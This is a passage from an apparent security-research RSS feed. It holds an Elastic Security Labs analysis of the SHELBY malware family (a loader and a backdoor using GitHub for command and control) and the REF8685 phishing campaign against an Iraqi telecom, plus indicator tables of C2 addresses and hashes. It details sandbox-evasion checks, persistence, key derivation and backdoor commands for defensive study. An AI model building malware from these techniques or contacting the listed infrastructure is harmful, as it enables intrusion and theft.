| <code>50.57.243[.]90</code>                                                   | ipv4-addr |                         | <code>clients.dealeronlinemarketing[.]com</code> &amp; <code>clients.contology[.]com</code> IP address |
| <code>144.172.97[.]2</code>                                                   | ipv4-addr |                         | ARECHCLIENT2 C&amp;C server                                                     |
| <code>143.110.230[.]167</code>                                                | ipv4-addr |                         | ARECHCLIENT2 C&amp;C server                                                     |
| <code>pastebin[.]com/raw/Wg8DHh2x</code>                                      | ipv4-addr |                         | Contains ARECHCLIENT2 C&amp;C server IP                                         |
| <code>2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a</code> | SHA-256   | <code>DivXDownloadManager.dll</code> | GHOSTPULSE                                                                  |
| <code>a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90</code> | SHA-256   | <code>Heeschamjiet.rc</code>         | PNG GHOSTPULSE                                                              |
| <code>f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55</code> | SHA-256   |                         | DOTNET LOADER                                                               |
| <code>4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9</code> | SHA-256   |                         | ARECHCLIENT2                                                                |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/SI_FalconTeam/status/1915790796948643929">https://x.com/SI_FalconTeam/status/1915790796948643929</a></li>
<li><a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/a-wretch-client</link>
    <guid isPermaLink="false">a-wretch-client</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4ecbf53b6067c27a/6a7c7600bdcff0e078c3cf14/a-wretch-client.png" length="0" type="image/png"/>
    <pubDate>Wed, 18 Jun 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[The Shelby Strategy]]></title>
    <description><![CDATA[An analysis of REF8685's abuse of GitHub for C2 to evade defenses.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands</li>
<li>The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability</li>
<li>Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions</li>
</ul>
<h2 id="summary">Summary</h2>
<p>As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.</p>
<p>The phishing email relies on the victim opening the attached <code>Details.zip</code> file and executing the contained binary, <code>JPerf-3.0.0.exe</code>. This binary utilizes the script-driven installation system, <a href="https://jrsoftware.org/isinfo.php">Inno setup</a>, that contains the malicious application:</p>
<ul>
<li><code>%AppData%\Local\Microsoft\HTTPApi</code>: <ul>
<li><code>HTTPApi.dll</code> (SHELBYC2)</li>
<li><code>HTTPService.dll</code> (SHELBYLOADER)</li>
<li><code>Microsoft.Http.Api.exe</code></li>
<li><code>Microsoft.Http.Api.exe.config</code></li></ul></li>
</ul>
<p>The installed <code>Microsoft.Http.Api.exe</code> is a benign .NET executable. Its primary purpose is to side-load the malicious <code>HTTPService.dll</code>. Once loaded, <code>HTTPService.dll</code> acts as the loader, initiating communication with GitHub for its command-and-control (C2).</p>
<p>The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, <code>HTTPApi.dll</code>. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf3e9d9a78ee56230/6a7c966d4c4bfb59f7cc7cc2/image27.png" alt="SHELBYLOADER &amp; SHELBYC2 Execution Chain" title="SHELBYLOADER &amp; SHELBYC2 Execution Chain" /></p>
<p>As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1adef023b8f95875/6a7c966f5967e5e5f55d7994/image2.png" alt="VirusTotal hits for SHELBYC2" title="VirusTotal hits for SHELBYC2" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcfe2783b38912a1c/6a7c967280ee38cabb60d55f/image24.png" alt="VirusTotal hits for SHELBYLOADER" title="VirusTotal hits for SHELBYLOADER" /></p>
<h2 id="shelbyloadercodeanalysis">SHELBYLOADER code analysis</h2>
<h3 id="obfuscation">Obfuscation</h3>
<p>Both the loader and backdoor are obfuscated with the open-source tool <a href="https://github.com/obfuscar/obfuscar">Obfuscar</a>, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage <a href="https://github.com/de4dot/de4dot">de4dot</a> with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters <code>--strtyp</code> ( the type of string decrypter, in our case <code>delegate</code>)  and <code>--strtok</code> ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd0108511c9a69a25/6a7c9675bdcff0270fc3d507/image6.png" alt="Deobfuscation using de4dot" title="Deobfuscation using de4dot" /></p>
<h3 id="sandboxdetection">Sandbox detection</h3>
<p>SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt76ac9f05539f4525/6a7c9679c33f4f85a7d54edc/image17.png" alt="Sandbox detection example" title="Sandbox detection example" /></p>
<h4 id="technique1wmiqueryforsysteminformation">Technique 1: WMI Query for System Information</h4>
<p>The malware executes a WMI query (<code>Select * from Win32_ComputerSystem</code>) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as "VMware" or "VirtualBox."</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2e2b99ea0117fb07/6a7c967c33fa8a06c51fcddf/image8.png" alt="Sandbox detection based on system information" title="Sandbox detection based on system information" /></p>
<h4 id="technique2processenumeration">Technique 2: Process Enumeration</h4>
<p>The malware scans the running processes for known virtualization-related services, including:</p>
<ul>
<li><code>vmsrvc</code></li>
<li><code>vmtools</code></li>
<li><code>xenservice</code></li>
<li><code>vboxservice</code></li>
<li><code>vboxtray</code></li>
</ul>
<p>The presence of these processes tells the malware that it may be running in a virtualized environment.</p>
<h4 id="technique3filesystemchecks">Technique 3: File System Checks</h4>
<p>The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:</p>
<ul>
<li><code>C:\Windows\System32\drivers\VBoxMouse.sys</code></li>
<li><code>C:\Windows\System32\drivers\VBoxGuest.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmhgfs.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmci.sys</code></li>
</ul>
<h4 id="technique4disksizeanalysis">Technique 4: Disk Size Analysis</h4>
<p>The malware checks the size of the <code>C:</code> volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf821b1a3fbdc46ac/6a7c967f4c4bfb54adcc7cca/image23.png" alt="Sandbox detection based on disk size" title="Sandbox detection based on disk size" /></p>
<h4 id="technique5parentprocessverification">Technique 5: Parent Process Verification</h4>
<p>The malware examines its parent process. If the parent process is not <code>explorer.exe</code>, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8dca0f1cbbd792c9/6a7c968280ee38ff1260d563/image15.png" alt="Sandbox detection based on process tree" title="Sandbox detection based on process tree" /></p>
<h4 id="technique6sleeptimedeviationdetection">Technique 6: Sleep Time Deviation Detection</h4>
<p>The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltef503e8065c1a654/6a7c9685227b1c0406592b6b/image5.png" alt="Sandbox detection based on sleep time deviation" title="Sandbox detection based on sleep time deviation" /></p>
<h4 id="technique7wmiqueryforvideocontroller">Technique 7: WMI Query for Video Controller</h4>
<p>The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: <code>virtual</code> or <code>vmware</code> or <code>vbox</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt65d4302265742641/6a7c9687e02fac84a05d0995/image21.png" alt="Sandbox detection based on the name of the video controller" title="Sandbox detection based on the name of the video controller" /></p>
<h3 id="corefunctionality">Core Functionality</h3>
<p>The malware's loader code begins by initializing several variables within its main class constructor. These variables include:</p>
<ul>
<li>A GitHub account name</li>
<li>A private repository name</li>
<li>A Personal Access Token (PAT) for authenticating and accessing the repository</li>
</ul>
<p>Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blteae81e4460b8036e/6a7c968a80ee38580f60d567/image31.png" alt="SHELBYLOADER configuration" title="SHELBYLOADER configuration" /></p>
<p>One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8cfc8a78710bab88/6a7c968d9f52512c7c66445a/image22.png" alt="Setup persistence" title="Setup persistence" /></p>
<p>This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:</p>
<p>| ID | Description                       |
|----|-----------------------------------|
| <code>1</code>  | Persistence set successfully      |
| <code>2</code>  | Persistence already set           |
| <code>8</code>  | Unable to add an entry in the key |
| <code>9</code>  | Binary not found on disk          |</p>
<p>This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.</p>
<p>The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( <code>/</code> ):</p>
<ul>
<li>The number of processors available on the system.</li>
<li>The name of the machine (hostname).</li>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The total number of logical drives present on the system.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7cbee2b4568fee9a/6a7c968fe3a219d549999bb0/image12.png" alt="Generate unique identifier" title="Generate unique identifier" /></p>
<p>A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.</p>
<p>After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named <code>Info.txt</code>. This file stores the following information about the infected system:</p>
<ul>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The log of sandbox detection results detailing which techniques succeeded or failed.</li>
<li>The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.</li>
<li>The current date and time of the beaconing event</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf9e7998d6ce17e31/6a7c969205b7b56a15185ecd/image28.png" alt="Example content of Info.txt" title="Example content of Info.txt" /></p>
<p>The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.</p>
<p>After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named <code>License.txt</code> (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5dde4dc822655bfe/6a7c9695448e4e4b215bb03b/image18.png" alt="Function calls for registration and retrieval of License content" title="Function calls for registration and retrieval of License content" /></p>
<p>The malware generates an AES key and initialization vector (IV) from the contents of <code>License.txt</code>. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6cd9dada2b1b9aaf/6a7c96973ce8e2f53ecefb65/image25.png" alt="Generating decryption AES key and IV" title="Generating decryption AES key and IV" /></p>
<p>It proceeds to decrypt the file <code>HTTPApi.dll</code>, which contains the backdoor payload. After decryption, the malware uses the <code>Assembly.Load</code> method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfc7d1ac6f411d17d/6a7c969a1967ea717532acc7/image4.png" alt="Decrypts and loads SHELBYC2" title="Decrypts and loads SHELBYC2" /></p>
<h3 id="dnsbasedkeyingmechanism">DNS-Based Keying Mechanism</h3>
<p>Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV. </p>
<p>First, the malware executes the same anti-sandboxing methods, creating a string of <code>1</code> or <code>0</code> depending on whether a sandbox is detected for each technique. </p>
<p>For its C2 registration, the malware builds a subdomain under <code>arthurshelby.click</code> with three parts: the first subdomain is a static string (<code>s</code>), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format <code>DomainName\HostName &gt;&gt; Anti-Sandboxing Results &gt;&gt; Persistence Flag</code> encoded in base32.</p>
<p>For example, a complete domain might look like <code>s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click</code></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfc00f85aa6f544f1/6a7c969cead8ec1fe6ba4dc0/image13.png" alt="CyberChef recipe for decoding generated subdomains" title="CyberChef recipe for decoding generated subdomains" /></p>
<p>After that, the malware executes multiple DNS queries to subdomains of <code>arthurshelby.click</code>. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.</p>
<p>The subdomains follow this format:</p>
<ul>
<li>The first subdomain is <code>l&lt;index&gt;</code>, where the index corresponds to the order of the DNS calls (e.g., <code>l1</code>, <code>l2</code>, etc.), ensuring the byte sequence is assembled correctly.</li>
<li>The second subdomain is the unique identifier encoded in Base32.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c621ad7611317ed/6a7c969f1967ea6ae232accb/image16.png" alt="Subdomains contacted to retrieve the bytes used to generate the AES key" title="Subdomains contacted to retrieve the bytes used to generate the AES key" /></p>
<h2 id="shelbyc2codeanalysis">SHELBYC2 code analysis</h2>
<p>The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a <a href="https://learn.microsoft.com/en-us/windows/win32/sync/using-mutex-objects">Mutex</a> to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string <code>Global\GHS</code> to the unique identifier.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9a212b3a5f09f33c/6a7c96a105b7b54a15185ed3/image9.png" alt="Mutex initialization" title="Mutex initialization" /></p>
<p>After 65 seconds, the backdoor executes a method that collects the following system information:</p>
<ul>
<li>current user identity</li>
<li>operating system version</li>
<li>the process ID of the malware</li>
<li>machine name</li>
<li>current working directory</li>
</ul>
<p>Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6f762c30f2005800/6a7c96a4e02fac05025d099f/image1.png" alt="Dead code" title="Dead code" /></p>
<p>The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word <strong>"Vivante"</strong> translates to <strong>"alive"</strong> in French, which reflects the file's role as a heartbeat indicator for the compromised machine.</p>
<p>Next, the malware attempts to download the file <code>Command.txt</code>, which contains a list of commands issued by the operator for execution on the infected system.</p>
<p>If <code>Command.txt</code> contains no commands, the malware checks for commands in another file named <code>Broadcast.txt</code>. Unlike <code>Command.txt</code>, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.</p>
<h3 id="commandshandlingtable">Commands handling table:</h3>
<p>Commands in the <code>Command.txt</code> file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.</p>
<h4 id="download">/download</h4>
<p>This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:</p>
<ul>
<li>The name of the file stored in the GitHub repository.</li>
<li>The path where the file will be saved on the infected machine.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blted611a23584cee7e/6a7c96a751156a7c0e2bcd6b/image20.png" alt="Download command" /></p>
<h4 id="upload">/upload</h4>
<p>This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d5732cd4135b3fc/6a7c96aa42a11718b1956573/image32.png" alt="Upload command" /></p>
<h4 id="dlextract">/dlextract</h4>
<p>This command downloads a zip file from the GitHub repository (similar to <code>/download</code>), extracts its contents, and saves them to a specified directory on the machine.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte4135b0c15910a5b/6a7c96adbd21984b46752706/image30.png" alt="Zip extraction command" /></p>
<h4 id="evoke">/evoke</h4>
<p>This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.</p>
<p>This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:</p>
<ul>
<li>The path to an AES-encrypted .NET binary previously downloaded to the infected machine.</li>
<li>A value used to derive the AES key and IV.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt22e1d801a8e638d2/6a7c96b051156ad69e2bcd71/image3.png" alt=".NET invocation command" /></p>
<h4 id="systemcommands">System commands</h4>
<p>Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4660edf0372d77d5/6a7c96b38fc2d066503e8cff/image7.png" alt="Powershell execution command" /></p>
<h3 id="communication">Communication</h3>
<p>The malware does not use the <a href="https://git-scm.com/">Git tool</a> in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:</p>
<pre><code>{
  "message": "Commit message",
  "content": "&lt;base64 encoded content&gt;",
  "sha": "&lt;hash&gt;"
}
</code></pre>
<p>The malware sets specific HTTP headers for the request, including:</p>
<ul>
<li><strong>Accept:</strong> <code>application/vnd.github.v3+json</code></li>
<li><strong>Content-Type:</strong> <code>application/json</code></li>
<li><strong>Authorization:</strong> <code>token &lt;PAT_token&gt;</code></li>
<li><strong>User-Agent:</strong> <code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt825133016352a17f/6a7c96b6de2315ed5ffd2219/image14.png" alt="Initialization of the HTTP request" /></p>
<p>The request is sent to the GitHub API endpoint, constructed as follows:</p>
<pre><code>https://api.github.com/repos/&lt;owner&gt;/&lt;repo&gt;/contents/&lt;unique identifier&gt;/&lt;file&gt;
</code></pre>
<p>The Personal Access Token (PAT) required to access the private repository is embedded within the binary. This allows the malware to authenticate and perform actions on the repository without using the standard Git toolchain.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd24790dc2331bac3/6a7c96b9437e0f36f6dd5a62/image26.png" alt="Wireshark capture of a C2 communication by SHELBYC2" /></p>
<p>The way the malware is set up means that anyone with the <a href="https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens">PAT (Personal Access Token)</a> can theoretically fetch commands sent by the attacker and access command outputs from any victim machine. This is because the PAT token is embedded in the binary and can be used by anyone who obtains it.</p>
<h3 id="shelbyfamilyconclusion">SHELBY family conclusion</h3>
<p>While the C2 infrastructure is designed exotically, the attacker has overlooked the significant risks and implications of this approach. </p>
<p>We believe using this malware, whether by an authorized red team or a malicious actor, would constitute malpractice. It enables any victim to weaponize the embedded PAT and take control of all active infections. Additionally, if a victim uploads samples to platforms like VirusTotal or MalwareBazaar, any third party could access infection-related data or take over the infections entirely.</p>
<h2 id="ref8685campaignanalysis">REF8685 campaign analysis</h2>
<p>Elastic Security Labs discovered REF8685 through routine collection and analysis of third-party data sources. While studying the REF8685 intrusion, we identified a loader and a C2 implant that we determined to be novel, leading us to release this detailed malware and intrusion analysis. </p>
<p>The malicious payloads were delivered to an Iraq-based telecom through a highly targeted phishing email sent from within the targeted organization. The text of the email is a discussion amongst engineers regarding the technical specifics of managing the network. Based on the content and context of the email, it is not likely that this lure was crafted externally, indicating the compromise of engineer endpoints, mail servers, or both.</p>
<pre><code>Dears,

We would appreciate it if you would check the following alarms on Core Network many (ASSOCIATION) have been flapped.

Problem Text
*** ALARM 620 A1/APT "ARHLRF2SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END

Problem Text
*** ALARM 974 A1/APT "ARHLRF1SPX1.9IP"U 250213 1406
M3UA DESTINATION INACCESSIBLE
DEST            SPID
2-1936          ARSMSC1
END
…
</code></pre>
<p>This email contains a call to action to address network alarms and a zipped attachment named <code>details.zip</code>. Within that zip file is a text file containing the logs addressed in the email and a Windows executable (<code>JPerf-3.0.0.exe</code>), which starts the execution chain, resulting in the delivery of the SHELBYC2 implant, providing remote access to the environment.</p>
<p>While not observed in the REF8685 intrusion, it should be noted that VirusTotal shows that <code>JPerf-3.0.0.exe</code> (<a href="https://www.virustotal.com/gui/file/feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a/relations">feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</a>) was included in a separate compressed archive (<code>JPerf-3.0.0.zip</code>)and also submitted from Iraq. It is unclear if this is from the same victim or another in this campaign. A file similarity search also identifies a second implant named <code>Setup.exe</code> with an additional compressed archive (<a href="https://www.virustotal.com/gui/file/5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c/detection">5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</a>).</p>
<p>Analysis of these files (<code>JPerf-3.0.0.exe</code> and <code>Setup.exe</code>) revealed the use of GitHub for <code>C2</code> and AES key retrieval mechanisms (more on this in the malware analysis sections). The Github accounts (<code>arthurshellby</code> and <code>johnshelllby</code>) used for the REF8685 malware were malicious and have been shut down by Github.</p>
<p>Of note, Arthur and John Shelby are characters in the British crime drama television series <a href="https://en.wikipedia.org/wiki/Peaky_Blinders_(TV_series)">Peaky Blinders</a>. The show was in production from 2013 to 2022.</p>
<p>The domain <code>arthurshelby[.]click</code> pointed to<code>2.56.126[.]151</code>, a Stark Industries (AS44477) hosted server. This VPS hosting provider <a href="https://krebsonsecurity.com/2024/05/stark-industries-solutions-an-iron-hammer-in-the-cloud/">has been used for proxy services</a> in other large-scale cyber attacks. This server has overlapping resolutions for:</p>
<ul>
<li><code>arthurshelby[.]click</code></li>
<li><code>[REDACTED]telecom[.]digital</code></li>
<li><code>speed-test[.]click</code></li>
<li><code>[REDACTED]airport[.]cloud</code></li>
<li><code>[REDACTED]airport[.]pro</code></li>
</ul>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc8b65e04c5ed660/6a88593e86dbfa604e9dd9af/image19.png" title="DNS resolution timeline for .56.126[.]151">DNS resolution timeline for 2.56.126[.]151</a></p>
<p>The compressed archive and C2 domains for one of the SHELBYLOADER samples are named after [REDACTED] Telecom, an Iraq-based telecommunications company. [REDACTED]’s coverage map focuses on the Iraqi-Kurdistan region in the North and East of the country.</p>
<p>“Sharjaairport” indicates a probable third targeted victim. [REDACTED] International Airport ([REDACTED]) is an international airport specializing in air freight in the United Arab Emirates. It is 14.5 miles (23.3km) from Dubai International Airport (DXB).</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4f01c06519e767cf/6a8859418c2944a83eb8fe9e/image29.png" title="DNS resolution timeline for [REDACTED]airport[.]cloud">DNS resolution timeline for [REDACTED]airport[.]cloud</a></p>
<p><code>[REDACTED]airport[.]cloud</code> resolved to a new server, <code>2.56.126[.]157</code>, for one day on Jan 21, 2025. Afterward, it pointed to Google DNS, the legitimate [REDACTED] Airport server, and finally, a Namecheap parking address. The <code>2.56.126[.]157</code> server, Stark Industries (AS44477) hosted, also hosts <code>[REDACTED]-connect[.]online</code>, [REDACTED] is the airport code for the [REDACTED] International Airport. </p>
<p>The domain<code>[REDACTED]airport[.]cloud</code> has a subdomain <code>portal.[REDACTED]airport[.]cloud</code> that briefly pointed to <code>2.56.126[.]188</code> from Jan 23-25, 2025. It then directed traffic to <code>172.86.68[.]55</code> until the time of writing.</p>
<p>Banner hash pivots reveal an additional server-domain combo: <code>195.16.74[.]138</code>, <code>[REDACTED]-meeting[.]online</code>.</p>
<p>The <code>172.86.68[.].55</code> server also hosts <code>mail.[REDACTED]tell[.]com</code>, an apparent phishing domain targeting our original victim.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf42c4b01fbfa71a7/6a88594308baf331b906207c/image11.png" title="DNS resolution timeline for 172.86.68[.].55">DNS resolution timeline for 172.86.68[.].55</a></p>
<p>A web login page was hosted at <code>hxxps://portal.[REDACTED]airport[.]cloud/Login</code> (<a href="https://www.virustotal.com/gui/file/02dc15a3bd3a911f6ac9c9e8633c7986f06372a514fc5bf75373b9901c6a9628/relations">VirusTotal</a>).  </p>
<p>We assess that the attackers weaponized these two sub-domains to phish for cloud login credentials. Once these credentials were secured (in the case of [REDACTED] Telecom), the attackers accessed the victim's cloud email and crafted a highly targeted phish by weaponizing ongoing internal email threads.</p>
<p>This weaponized internal email was used to re-phish their way onto victim endpoints.</p>
<p>All domains associated with this campaign have utilized ZeroSSL certifications and have been on Stark Industries infrastructure.</p>
<h3 id="thediamondmodelofintrusionanalysis">The Diamond Model of intrusion analysis</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta986afb5abc08bc5/6a7c96bcc2cc0904ee24383f/image10.png" alt="REF8685 represented in the Diamond Model" title="REF8685 represented in the Diamond Model" /></p>
<h2 id="ref8685andmitreattck">REF8685 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
</ul>
<h2 id="yararule">YARA rule</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the SHELBYC2 and SHELBYLOADER malware:</p>
